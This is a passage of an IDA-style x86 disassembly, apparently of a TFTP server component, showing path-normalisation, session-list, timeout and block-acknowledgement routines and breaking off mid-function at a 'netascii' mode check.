		mov	dl, [ecx+2]
		lea	edi, [ecx+2]
		cmp	dl, 5Ch
		jz	short loc_1002684
		cmp	dl, 2Fh
		jnz	short loc_1002703


loc_1002684:				; CODE XREF: sub_100261E+5Fj
		dec	esi
		mov	ecx, edi
		dec	esi
		cmp	esi, ebx
		jbe	short loc_10026E0


loc_100268C:				; CODE XREF: sub_100261E+7Bj
		mov	al, [esi]
		cmp	al, 5Ch
		jz	short loc_100269B
		cmp	al, 2Fh
		jz	short loc_100269B
		dec	esi
		cmp	esi, ebx
		jnb	short loc_100268C


loc_100269B:				; CODE XREF: sub_100261E+72j
					; sub_100261E+76j
		inc	esi


loc_100269C:				; CODE XREF: sub_100261E+8Ej
					; sub_100261E+EEj ...
		cmp	esi, [ebp+arg_0]
		jbe	short loc_10026AE
		cmp	byte ptr [esi-1], 20h
		lea	eax, [esi-1]
		jnz	short loc_10026AE
		mov	esi, eax
		jmp	short loc_100269C
; ---------------------------------------------------------------------------


loc_10026AE:				; CODE XREF: sub_100261E+81j
					; sub_100261E+8Aj
		mov	al, [ecx]
		cmp	al, 5Ch
		jz	short loc_10026B8
		cmp	al, 2Fh
		jnz	short loc_1002642


loc_10026B8:				; CODE XREF: sub_100261E+94j
		cmp	esi, ebx
		jz	short loc_10026CB
		mov	al, [esi-1]
		cmp	al, 5Ch
		jz	short loc_10026CB
		cmp	al, 2Fh
		jz	short loc_10026CB
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_10026CB:				; CODE XREF: sub_100261E+9Cj
					; sub_100261E+A3j ...
		inc	ecx
		jz	short loc_10026D8
		mov	al, [ecx]
		cmp	al, 5Ch
		jz	short loc_10026CB
		cmp	al, 2Fh
		jz	short loc_10026CB


loc_10026D8:				; CODE XREF: sub_100261E+AEj
		mov	[ebp+arg_0], esi
		jmp	loc_1002642
; ---------------------------------------------------------------------------


loc_10026E0:				; CODE XREF: sub_100261E+6Cj
		xor	eax, eax
		jmp	short loc_10026FC
; ---------------------------------------------------------------------------


loc_10026E4:				; CODE XREF: sub_100261E+28j
		mov	cl, [esi-1]
		lea	eax, [esi-1]
		cmp	cl, 5Ch
		jz	short loc_10026F4
		cmp	cl, 2Fh
		jnz	short loc_10026F6


loc_10026F4:				; CODE XREF: sub_100261E+CFj
		mov	esi, eax


loc_10026F6:				; CODE XREF: sub_100261E+D4j
		and	byte ptr [esi],	0
		push	1
		pop	eax


loc_10026FC:				; CODE XREF: sub_100261E+C4j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_1002703:				; CODE XREF: sub_100261E+50j
					; sub_100261E+64j ...
		mov	[esi], al
		mov	al, [ecx+1]
		inc	esi
		inc	ecx
		test	al, al
		jz	short loc_100269C
		cmp	al, 5Ch
		jz	short loc_100269C
		cmp	al, 2Fh
		jnz	short loc_1002703
		jmp	short loc_100269C
; ---------------------------------------------------------------------------


loc_1002718:				; CODE XREF: sub_100261E+3Fj
					; sub_100261E+48j
		mov	ecx, edi
		jmp	short loc_100269C
; ---------------------------------------------------------------------------


loc_100271C:				; CODE XREF: sub_100261E+30j
					; sub_100261E+11Dj
		test	al, al
		jz	loc_100269C
		cmp	al, 5Ch
		jz	loc_100269C
		cmp	al, 2Fh
		jz	loc_100269C
		mov	[esi], al
		mov	al, [ecx+1]
		inc	esi
		inc	ecx
		jmp	short loc_100271C
sub_100261E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100273D	proc near		; CODE XREF: sub_1002F31+18Cp
					; sub_100333A+197p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [ebp+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	ebx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	byte ptr [ebx+esi-1], 5Ch
		mov	edi, ecx
		setz	al
		xor	ecx, ecx
		cmp	byte ptr [edx],	5Ch
		setz	cl
		test	eax, eax
		jnz	short loc_1002784
		test	ecx, ecx
		jnz	short loc_1002784
		mov	[ebp+arg_8], 1
		jmp	short loc_1002791
; ---------------------------------------------------------------------------


loc_1002784:				; CODE XREF: sub_100273D+38j
					; sub_100273D+3Cj
		and	[ebp+arg_8], 0
		test	eax, eax
		jz	short loc_1002791
		test	ecx, ecx
		jz	short loc_1002791
		dec	ebx


loc_1002791:				; CODE XREF: sub_100273D+45j
					; sub_100273D+4Dj ...
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		add	eax, edi
		add	eax, ebx
		dec	ecx
		cmp	eax, ecx
		jbe	short loc_10027A4
		xor	eax, eax
		jmp	short loc_10027DA
; ---------------------------------------------------------------------------


loc_10027A4:				; CODE XREF: sub_100273D+61j
		mov	eax, [ebp+arg_8]
		inc	edi
		add	eax, ebx
		push	edi
		add	eax, edx
		push	edx
		push	eax
		call	ds:dword_1001144
		mov	eax, [ebp+arg_0]
		mov	ecx, ebx
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		add	esp, 0Ch
		and	ecx, 3
		cmp	[ebp+arg_8], 0
		rep movsb
		jz	short loc_10027D7
		mov	byte ptr [ebx+eax], 5Ch


loc_10027D7:				; CODE XREF: sub_100273D+94j
		push	1
		pop	eax


loc_10027DA:				; CODE XREF: sub_100273D+65j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_100273D	endp


; =============== S U B	R O U T	I N E =======================================



sub_10027E1	proc near		; CODE XREF: sub_1002B5E+C7p
					; sub_1002F31+36Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	ecx, [esi+10024h]
		lea	eax, [esi+10024h]
		test	ecx, ecx
		jz	short loc_1002817
		and	dword ptr [eax], 0
		mov	eax, [esp+8+arg_4]
		and	word ptr [esi+10014h], 0
		mov	[esi+10020h], ecx
		mov	eax, [eax+20h]
		mov	[esi+1001Ch], eax
		jmp	short loc_1002877
; ---------------------------------------------------------------------------


loc_1002817:				; CODE XREF: sub_10027E1+14j
		mov	edi, ds:dword_1001104
		push	3
		call	edi ; dword_1001104
		mov	[esi+38h], ax
		mov	ax, [esi+10014h]
		push	eax
		call	edi ; dword_1001104
		mov	[esi+3Ah], ax
		mov	eax, [esp+8+arg_4]
		push	dword ptr [eax+20h]
		lea	eax, [esi+3Ch]
		push	eax
		push	dword ptr [esi+1002Ch]
		call	ds:dword_1001090
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[esi+1001Ch], eax
		jnz	short loc_100286E
		mov	esi, ds:dword_10010AC
		call	esi ; dword_10010AC
		call	esi ; dword_10010AC
		push	dword ptr [eax]
		call	ds:dword_100102C
		xor	eax, eax
		jmp	short loc_100287A
; ---------------------------------------------------------------------------


loc_100286E:				; CODE XREF: sub_10027E1+75j
		add	eax, 4
		mov	[esi+10020h], eax


loc_1002877:				; CODE XREF: sub_10027E1+34j
		push	1
		pop	eax


loc_100287A:				; CODE XREF: sub_10027E1+8Bj
		pop	edi
		pop	esi
		retn	8
sub_10027E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_100287F	proc near		; CODE XREF: sub_1002F31+2C6p
					; sub_100333A+2CDp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_1006080
		push	esi
		call	ds:dword_1001058
		mov	ecx, dword_1006098
		push	esi
		mov	eax, [esp+8+arg_0]
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset dword_1006098
		mov	[ecx+4], eax
		mov	dword_1006098, eax
		call	ds:dword_100104C
		push	1
		pop	eax
		pop	esi
		retn	4
sub_100287F	endp


; =============== S U B	R O U T	I N E =======================================



sub_10028B5	proc near		; CODE XREF: sub_1002A3D+Cp
					; sub_1002EC8+8p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, ds:dword_1001058
		push	esi
		push	edi
		mov	edi, offset dword_1006080
		push	edi
		call	ebx ; dword_1001058
		mov	eax, dword_1006098
		mov	ecx, offset dword_1006098


loc_10028D0:				; CODE XREF: sub_10028B5+2Dj
		cmp	eax, ecx
		jz	short loc_10028F2
		mov	edx, [eax+8]
		lea	esi, [eax-18h]
		cmp	edx, [esp+0Ch+arg_0]
		jz	short loc_10028E4
		mov	eax, [eax]
		jmp	short loc_10028D0
; ---------------------------------------------------------------------------


loc_10028E4:				; CODE XREF: sub_10028B5+29j
		push	esi
		call	ebx ; dword_1001058
		push	edi
		call	ds:dword_100104C
		mov	eax, esi
		jmp	short loc_10028FB
; ---------------------------------------------------------------------------


loc_10028F2:				; CODE XREF: sub_10028B5+1Dj
		push	edi
		call	ds:dword_100104C
		xor	eax, eax


loc_10028FB:				; CODE XREF: sub_10028B5+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_10028B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002901	proc near		; CODE XREF: sub_100297A+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+20h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_1002915
		push	eax
		call	ds:dword_100111C


loc_1002915:				; CODE XREF: sub_1002901+Bj
		mov	eax, [esi+10004h]
		test	eax, eax
		jz	short loc_100292E
		push	0
		push	eax
		push	dword_10060A0
		call	ds:dword_1001158


loc_100292E:				; CODE XREF: sub_1002901+1Cj
		push	0
		push	dword ptr [esi+0FFFCh]
		call	ds:dword_1001168
		push	dword ptr [esi+0FFF8h]
		call	ds:dword_1001054
		push	esi
		call	ds:dword_1001028
		pop	esi
		retn	4
sub_1002901	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002953	proc near		; CODE XREF: sub_100297A+2Fp
					; sub_100297A+37p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+1002Ch]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_100296B
		push	eax
		call	ds:dword_100108C
		pop	ecx


loc_100296B:				; CODE XREF: sub_1002953+Ej
		push	esi
		call	ds:dword_10010A0
		pop	ecx
		pop	esi
		retn	4
sub_1002953	endp

; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_100297A	proc near		; CODE XREF: sub_10029BA+55p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_10029B6
		push	esi
		call	sub_1002901
		mov	eax, [esi+24h]
		dec	eax
		jz	short loc_10029B0
		dec	eax
		jz	short loc_10029A8
		dec	eax
		jz	short loc_10029A0
		dec	eax
		jnz	short loc_10029B6
		push	esi
		call	nullsub_1
		jmp	short loc_10029B6
; ---------------------------------------------------------------------------


loc_10029A0:				; CODE XREF: sub_100297A+19j
		push	esi
		call	nullsub_1
		jmp	short loc_10029B6
; ---------------------------------------------------------------------------


loc_10029A8:				; CODE XREF: sub_100297A+16j
		push	esi
		call	sub_1002953
		jmp	short loc_10029B6
; ---------------------------------------------------------------------------


loc_10029B0:				; CODE XREF: sub_100297A+13j
		push	esi
		call	sub_1002953


loc_10029B6:				; CODE XREF: sub_100297A+7j
					; sub_100297A+1Cj ...
		pop	esi
		retn	4
sub_100297A	endp


; =============== S U B	R O U T	I N E =======================================



sub_10029BA	proc near		; DATA XREF: sub_10018DB+98o
		push	ebx
		mov	ebx, ds:dword_1001058
		push	esi
		push	offset dword_1006080
		call	ebx ; dword_1001058
		mov	esi, dword_1006098
		cmp	esi, offset dword_1006098
		jz	short loc_1002A28
		push	edi
		push	ebp


loc_10029D9:				; CODE XREF: sub_10029BA+6Aj
		lea	edi, [esi-18h]
		push	edi
		call	ebx ; dword_1001058
		mov	ebp, [esi]
		inc	dword ptr [edi+10008h]
		cmp	dword ptr [edi+10008h],	4
		lea	eax, [edi+10008h]
		push	edi
		jb	short loc_1002A16
		call	ebx ; dword_1001058
		mov	eax, [esi]
		mov	esi, [esi+4]
		mov	[esi], eax
		mov	[eax+4], esi
		mov	ax, [edi+2Ah]
		push	eax
		call	ds:dword_1001104
		push	edi
		call	sub_100297A
		jmp	short loc_1002A1C
; ---------------------------------------------------------------------------


loc_1002A16:				; CODE XREF: sub_10029BA+3Bj
		call	ds:dword_100104C


loc_1002A1C:				; CODE XREF: sub_10029BA+5Aj
		cmp	ebp, offset dword_1006098
		mov	esi, ebp
		jnz	short loc_10029D9
		pop	ebp
		pop	edi


loc_1002A28:				; CODE XREF: sub_10029BA+1Bj
		push	offset dword_1006080
		call	ds:dword_100104C
		call	sub_1001A1F
		pop	esi
		pop	ebx
		retn	8
sub_10029BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1002A3D	proc near		; DATA XREF: sub_1002F31+341o
					; sub_100333A+32Co

var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_10028B5
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_1002B57
		mov	eax, [esi+1000Ch]
		cmp	eax, 0Ah
		jnb	loc_1002B0B
		cmp	eax, 5
		jbe	short loc_1002A8E
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_1001024
		mov	ax, [esi+2Ah]
		push	eax
		call	ds:dword_100110C
		mov	ax, [esi+3Ah]
		push	eax
		call	ds:dword_1001104


loc_1002A8E:				; CODE XREF: sub_1002A3D+2Fj
		lea	eax, [esi+28h]
		push	10h
		push	eax
		push	ebx
		push	dword ptr [esi+10020h]
		lea	eax, [esi+38h]
		push	eax
		push	dword ptr [esi+20h]
		call	ds:dword_1001130
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1002AB3
		call	ds:dword_10010F8


loc_1002AB3:				; CODE XREF: sub_1002A3D+6Ej
		mov	edi, [esi+10004h]
		inc	dword ptr [esi+1000Ch]
		cmp	edi, ebx
		jz	loc_1002B4C
		cmp	[esi+10028h], ebx
		jnz	short loc_1002AEA
		mov	eax, [esi+10000h]
		lea	ecx, [esi+10000h]
		shl	eax, 1
		mov	edx, 2710h
		mov	[ecx], eax
		cmp	eax, edx
		jbe	short loc_1002AEA
		mov	[ecx], edx


loc_1002AEA:				; CODE XREF: sub_1002A3D+90j
					; sub_1002A3D+A9j
		mov	eax, [esi+10000h]
		push	eax
		push	eax
		push	edi
		push	dword_10060A0
		call	ds:dword_1001154
		cmp	eax, ebx
		jz	short loc_1002B4C
		call	ds:dword_1001038
		jmp	short loc_1002B4C
; ---------------------------------------------------------------------------


loc_1002B0B:				; CODE XREF: sub_1002A3D+26j
		cmp	esi, ebx
		jz	short loc_1002B57
		push	offset aTimeout	; "Timeout"
		push	ebx
		push	dword ptr [esi+20h]
		lea	eax, [esi+28h]
		push	ebx
		push	eax
		call	sub_100230A
		mov	eax, [esi+10004h]
		lea	edi, [esi+10004h]
		cmp	eax, ebx
		jz	short loc_1002B40
		push	ebx
		push	eax
		push	dword_10060A0
		call	ds:dword_1001158


loc_1002B40:				; CODE XREF: sub_1002A3D+F3j
		mov	[edi], ebx
		mov	dword ptr [esi+10008h],	4


loc_1002B4C:				; CODE XREF: sub_1002A3D+84j
					; sub_1002A3D+C4j ...
		cmp	esi, ebx
		jz	short loc_1002B57
		push	esi
		call	ds:dword_100104C


loc_1002B57:				; CODE XREF: sub_1002A3D+17j
					; sub_1002A3D+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_1002A3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002B5E	proc near		; CODE XREF: sub_1002EC8+3Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		mov	ebx, ds:dword_100110C
		push	ebp
		push	esi
		mov	esi, [esp+10h+arg_0]
		push	edi
		mov	edi, [esp+14h+arg_4]
		xor	ebp, ebp
		mov	eax, [esi+10018h]
		push	4
		mov	[esp+18h+var_4], ebp
		mov	[edi+20h], eax
		call	ebx ; dword_100110C
		cmp	[edi+34h], ax
		jnz	short loc_1002BA6
		mov	ax, [esi+10014h]
		push	eax
		call	ebx ; dword_100110C
		cmp	[edi+36h], ax
		jnz	short loc_1002BA6
		and	dword ptr [esi+1000Ch],	0
		push	1
		pop	ebp
		jmp	short loc_1002BCE
; ---------------------------------------------------------------------------


loc_1002BA6:				; CODE XREF: sub_1002B5E+2Aj
					; sub_1002B5E+3Aj
		mov	ax, [edi+36h]
		push	eax
		call	ebx ; dword_100110C
		mov	ax, [edi+34h]
		push	eax
		call	ds:dword_1001104
		push	4
		call	ebx ; dword_100110C
		cmp	[edi+34h], ax
		jnz	short loc_1002BCE
		mov	ax, [esi+10014h]
		dec	ax
		push	eax
		call	ebx ; dword_100110C


loc_1002BCE:				; CODE XREF: sub_1002B5E+46j
					; sub_1002B5E+62j
		test	ebp, ebp
		jz	loc_1002C96
		cmp	dword ptr [esi+10030h],	0
		jz	short loc_1002C1C
		mov	eax, [esi+10004h]
		lea	edi, [esi+10004h]
		test	eax, eax
		jz	short loc_1002BFE
		push	0
		push	eax
		push	dword_10060A0
		call	ds:dword_1001158


loc_1002BFE:				; CODE XREF: sub_1002B5E+8Fj
		and	dword ptr [edi], 0
		mov	dword ptr [esi+10008h],	4


loc_1002C0B:				; CODE XREF: sub_1002B5E+DBj
					; sub_1002B5E+13Ej ...
		push	esi
		call	ds:dword_100104C
		xor	eax, eax


loc_1002C14:				; CODE XREF: sub_1002B5E+183j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_1002C1C:				; CODE XREF: sub_1002B5E+7Fj
		inc	word ptr [esi+10014h]
		push	edi
		push	esi
		call	sub_10027E1
		mov	ebp, eax
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_1002C3B
		mov	ax, [edi+0Eh]
		push	eax
		call	ebx ; dword_100110C
		jmp	short loc_1002C0B
; ---------------------------------------------------------------------------


loc_1002C3B:				; CODE XREF: sub_1002B5E+D2j
		cmp	[esi+10028h], eax
		mov	[esi+1000Ch], eax
		mov	[esi+10008h], eax
		jnz	short loc_1002C59
		mov	dword ptr [esi+10000h],	3E8h


loc_1002C59:				; CODE XREF: sub_1002B5E+EFj
		mov	ecx, [esi+10004h]
		cmp	ecx, eax
		jz	short loc_1002C78
		mov	eax, [esi+10000h]
		push	eax
		push	eax
		push	ecx
		push	dword_10060A0
		call	ds:dword_1001154


loc_1002C78:				; CODE XREF: sub_1002B5E+103j
		mov	eax, [esi+1001Ch]
		cmp	eax, [edi+20h]
		jnb	short loc_1002C9A
		mov	ax, [edi+0Eh]
		push	eax
		call	ebx ; dword_100110C
		mov	dword ptr [esi+10030h],	1
		jmp	short loc_1002C9A
; ---------------------------------------------------------------------------


loc_1002C96:				; CODE XREF: sub_1002B5E+72j
		mov	ebp, [esp+14h+var_4]


loc_1002C9A:				; CODE XREF: sub_1002B5E+123j
					; sub_1002B5E+136j
		test	ebp, ebp
		jz	loc_1002C0B
		mov	ax, [edi+0Eh]
		push	eax
		call	ebx ; dword_100110C
		add	edi, 0Ch
		push	10h
		push	edi
		push	0
		push	dword ptr [esi+10020h]
		lea	eax, [esi+38h]
		push	eax
		push	dword ptr [esi+20h]
		call	ds:dword_1001130
		cmp	eax, 0FFFFFFFFh
		jnz	loc_1002C0B
		call	ds:dword_10010F8
		test	esi, esi
		jz	short loc_1002CDE
		push	esi
		call	ds:dword_100104C


loc_1002CDE:				; CODE XREF: sub_1002B5E+177j
		push	1
		pop	eax
		jmp	loc_1002C14
sub_1002B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1002CE6	proc near		; CODE XREF: sub_1002EC8+34p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, ds:dword_100110C
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		push	3
		mov	eax, [esi+10018h]
		mov	[edi+20h], eax
		call	ebx ; dword_100110C
		cmp	[edi+34h], ax
		jnz	short loc_1002D3A
		mov	ax, [esi+10014h]
		inc	ax
		push	eax
		call	ebx ; dword_100110C
		cmp	[edi+36h], ax
		jnz	short loc_1002D3A
		inc	word ptr [esi+10014h]
		xor	ebx, ebx
		mov	[ebp+var_4], 1
		mov	[esi+10008h], ebx
		jmp	short loc_1002D9D
; ---------------------------------------------------------------------------


loc_1002D3A:				; CODE XREF: sub_1002CE6+28j
					; sub_1002CE6+3Aj
		push	3
		call	ebx ; dword_100110C
		cmp	[edi+34h], ax
		jnz	short loc_1002D9B
		mov	ax, [esi+10014h]
		push	eax
		call	ebx ; dword_100110C
		cmp	[edi+36h], ax
		jnz	short loc_1002D9B
		mov	ebx, ds:dword_1001104
		push	4
		call	ebx ; dword_1001104
		mov	[esi+38h], ax
		mov	ax, [esi+10014h]
		push	eax
		call	ebx ; dword_1001104
		add	edi, 0Ch
		push	10h
		mov	[esi+3Ah], ax
		push	edi
		push	0
		lea	eax, [esi+38h]
		push	4
		push	eax
		push	dword ptr [esi+20h]
		call	ds:dword_1001130
		cmp	eax, 0FFFFFFFFh
		jnz	loc_1002EB3
		call	ds:dword_10010F8
		jmp	loc_1002EB3
; ---------------------------------------------------------------------------


loc_1002D9B:				; CODE XREF: sub_1002CE6+5Cj
					; sub_1002CE6+6Cj
		xor	ebx, ebx


loc_1002D9D:				; CODE XREF: sub_1002CE6+52j
		cmp	[ebp+var_4], ebx
		jz	short loc_1002DE4
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [edi+2Ch]
		push	dword ptr [esi+10030h]
		sub	eax, 4
		push	eax
		lea	eax, [edi+38h]
		push	eax
		push	dword ptr [esi+1002Ch]
		call	sub_100373A
		cmp	[ebp+var_4], ebx
		mov	[ebp+arg_0], eax
		jz	short loc_1002DE4
		cmp	eax, ebx
		jge	short loc_1002DF7
		push	ebx
		push	3
		push	dword ptr [edi+8]
		lea	eax, [edi+0FFF1h]
		add	edi, 0Ch
		push	eax
		push	edi
		call	sub_100230A


loc_1002DE4:				; CODE XREF: sub_1002CE6+BAj
					; sub_1002CE6+E2j
		cmp	esi, ebx
		jz	short loc_1002DEF
		push	esi
		call	ds:dword_100104C


loc_1002DEF:				; CODE XREF: sub_1002CE6+100j
		push	1
		pop	eax
		jmp	loc_1002EBC
; ---------------------------------------------------------------------------


loc_1002DF7:				; CODE XREF: sub_1002CE6+E6j
		mov	eax, [edi+2Ch]
		sub	eax, 4
		cmp	eax, [edi+20h]
		ja	loc_1002EB3
		mov	ebx, ds:dword_1001104
		push	4
		call	ebx ; dword_1001104
		mov	[esi+38h], ax
		mov	ax, [esi+10014h]
		push	eax
		call	ebx ; dword_1001104
		mov	[esi+3Ah], ax
		lea	eax, [edi+0Ch]
		push	10h
		xor	ebx, ebx
		push	eax
		push	ebx
		lea	eax, [esi+38h]
		push	4
		push	eax
		push	dword ptr [esi+20h]
		call	ds:dword_1001130
		mov	[ebp+arg_0], eax
		mov	eax, [esi+10004h]
		cmp	eax, ebx
		jz	short loc_1002E74
		cmp	[esi+10028h], ebx
		mov	[esi+1000Ch], ebx
		jnz	short loc_1002E5F
		mov	dword ptr [esi+10000h],	3E8h


loc_1002E5F:				; CODE XREF: sub_1002CE6+16Dj
		mov	ecx, [esi+10000h]
		push	ecx
		push	ecx
		push	eax
		push	dword_10060A0
		call	ds:dword_1001154


loc_1002E74:				; CODE XREF: sub_1002CE6+15Fj
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_1002E80
		call	ds:dword_10010F8


loc_1002E80:				; CODE XREF: sub_1002CE6+192j
		mov	eax, [edi+2Ch]
		sub	eax, 4
		cmp	eax, [edi+20h]
		jnb	short loc_1002EB3
		mov	eax, [esi+10004h]
		cmp	eax, ebx
		jz	short loc_1002EA3
		push	ebx
		push	eax
		push	dword_10060A0
		call	ds:dword_1001158


loc_1002EA3:				; CODE XREF: sub_1002CE6+1ADj
		mov	[esi+10004h], ebx
		mov	dword ptr [esi+10008h],	4


loc_1002EB3:				; CODE XREF: sub_1002CE6+A4j
					; sub_1002CE6+B0j ...
		push	esi
		call	ds:dword_100104C
		xor	eax, eax


loc_1002EBC:				; CODE XREF: sub_1002CE6+10Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_1002CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002EC3	proc near		; CODE XREF: sub_1002EC8+22p
					; sub_1002EC8+2Bp
		xor	eax, eax
		retn	8
sub_1002EC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002EC8	proc near		; CODE XREF: sub_1001A91+254p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+8]
		call	sub_10028B5
		test	eax, eax
		jz	short loc_1002F0A
		mov	ecx, [eax+24h]
		dec	ecx
		jz	short loc_1002F03
		dec	ecx
		jz	short loc_1002EFA
		dec	ecx
		jz	short loc_1002EF1
		dec	ecx
		jnz	short loc_1002F0A
		push	esi
		push	eax
		call	sub_1002EC3
		jmp	short loc_1002F0A
; ---------------------------------------------------------------------------


loc_1002EF1:				; CODE XREF: sub_1002EC8+1Bj
		push	esi
		push	eax
		call	sub_1002EC3
		jmp	short loc_1002F0A
; ---------------------------------------------------------------------------


loc_1002EFA:				; CODE XREF: sub_1002EC8+18j
		push	esi
		push	eax
		call	sub_1002CE6
		jmp	short loc_1002F0A
; ---------------------------------------------------------------------------


loc_1002F03:				; CODE XREF: sub_1002EC8+15j
		push	esi
		push	eax
		call	sub_1002B5E


loc_1002F0A:				; CODE XREF: sub_1002EC8+Fj
					; sub_1002EC8+1Ej ...
		pop	esi
		retn	4
sub_1002EC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002F0E	proc near		; CODE XREF: sub_1002F31+20p
					; sub_100333A+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	eax, eax
		cmp	[esp+arg_4], eax
		jbe	short loc_1002F27


loc_1002F16:				; CODE XREF: sub_1002F0E+17j
		mov	ecx, [esp+arg_0]
		cmp	byte ptr [eax+ecx], 0
		jz	short loc_1002F2C
		inc	eax
		cmp	eax, [esp+arg_4]
		jb	short loc_1002F16


loc_1002F27:				; CODE XREF: sub_1002F0E+6j
		xor	eax, eax

locret_1002F29:				; CODE XREF: sub_1002F0E+21j
		retn	8
; ---------------------------------------------------------------------------


loc_1002F2C:				; CODE XREF: sub_1002F0E+10j
		push	1
		pop	eax
		jmp	short locret_1002F29
sub_1002F0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1002F31	proc near		; CODE XREF: sub_1001A91+223p
					; DATA XREF: sub_1001A91+1FCo

var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		and	[ebp+var_10], 0
		and	[ebp+var_14], 0
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	0FFBAh
		lea	ebx, [esi+36h]
		push	ebx
		mov	[ebp+var_18], ebx
		call	sub_1002F0E
		test	eax, eax
		jz	loc_100330F
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	10034h
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [ecx+ebx+1]
		mov	[ebp+var_4], eax
		call	ds:dword_1001094
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_1003331
		mov	ecx, 400Dh
		xor	eax, eax
		mov	edi, ebx
		rep stosd
		push	dword ptr [esi+10h]
		call	ds:dword_1001120
		mov	[ebp+var_8], eax
		mov	ax, [esi+0Eh]
		push	eax
		call	ds:dword_1001104
		mov	edi, [ebp+var_4]
		mov	[ebp+var_C], edi
		mov	al, [edi]
		test	al, al
		jz	short loc_1002FCD


loc_1002FB5:				; CODE XREF: sub_1002F31+97j
		movsx	eax, al
		push	eax
		call	ds:dword_1001150
		mov	[edi], al
		mov	al, [edi+1]
		inc	edi
		pop	ecx
		test	al, al
		jnz	short loc_1002FB5
		mov	[ebp+var_C], edi


loc_1002FCD:				; CODE XREF: sub_1002F31+82j
		mov	edi, [ebp+var_4]
		mov	eax, offset aNetascii ;	"netascii"


loc_1002FD5:				; CODE XREF: sub_1002F31+C0j
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_1002FF7
		test	cl, cl
		jz	short loc_1002FF3
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_1002FF7
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_1002FD5


loc_1002FF3:				; CODE XREF: sub_1002F31+AEj
		xor	eax, eax
		jmp	short loc_1002FFC
; ---------------------------------------------------------------------------


loc_1002FF7:				; CODE XREF: sub_1002F31+AAj
					; sub_1002F31+B8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_1002FFC:				; CODE XREF: sub_1002F31+C4j
